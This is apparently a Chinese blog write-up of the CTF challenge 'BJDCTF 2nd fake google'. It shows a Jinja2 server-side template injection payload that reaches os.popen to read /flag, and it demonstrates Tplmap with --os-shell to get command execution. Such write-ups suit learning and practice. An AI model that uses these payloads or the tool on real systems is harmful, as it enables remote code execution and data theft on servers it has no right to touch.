zoukankan      html  css  js  c++  java
  • BUU-Web-[BJDCTF 2nd]fake google

    乍看题目吓一跳,百度一下很简单

    这个题目拿到之后,测试了下sql注入,发现没有,再测试一下xss,有所发现

    然后测试了下我电脑里保存的xss的payload发现没用

    百度后发现是Jinja2模板注入,又碰到了不会的知识点,记录一下

    手工注入的话可以根据模板构造payload:

    {% for c in [].class.base.subclasses() %} //list下遍历
    {% if c.name=='catch_warnings' %} //判断目标
    {{ c.init.globals['builtins'].eval("import('os').popen('cat /flag').read()")}} //拼接
    {% endif %}{% endfor %} //结束循环和判断

    Tplmap注入:Tplmap 是一个python工具,可以通过使用沙箱转义技术找到代码注入和服务器端模板注入(SSTI)漏洞。该工具能够在许多模板引擎中利用SSTI来访问目标 文件或操作系统。一些受支持的模板引擎包括PHP(代码评估),Ruby(代码评估),JaveScript(代码评估),Python(代码评 估),ERB,Jinja2和Tornado。该工具可以执行对这些模板引擎的盲注入,并具有执行远程命令的能力。

    安装:git clone https://github.com/epinna/tplmap,也可以下载压缩包,像SQLMap一样使用

    执行:

    cd tplmap

    ./tplmap.py -u url

    注:如过碰到ImportError: No module named yaml,就执行pip install pyyaml

    ./tplmap.py -u url --engine=Jinja2 --os-shell

    ls / 注:ls是显示当前目录下的文件,ls /是显示根目录下的文件

    cat /flag

  • 相关阅读:
    【Linux 读书笔记】Linux文件的硬连接和符号连接
    Shell参数
    Shellcase语句的例子
    Shellselect
    Shell小程序一个
    SHELL起步
    接昨天的 while
    Shell循环控制
    Shellwhile循环的例子
    Shellfor语句
  • 原文地址:https://www.cnblogs.com/Web-Fresher/p/13723197.html
Copyright © 2011-2022 走看看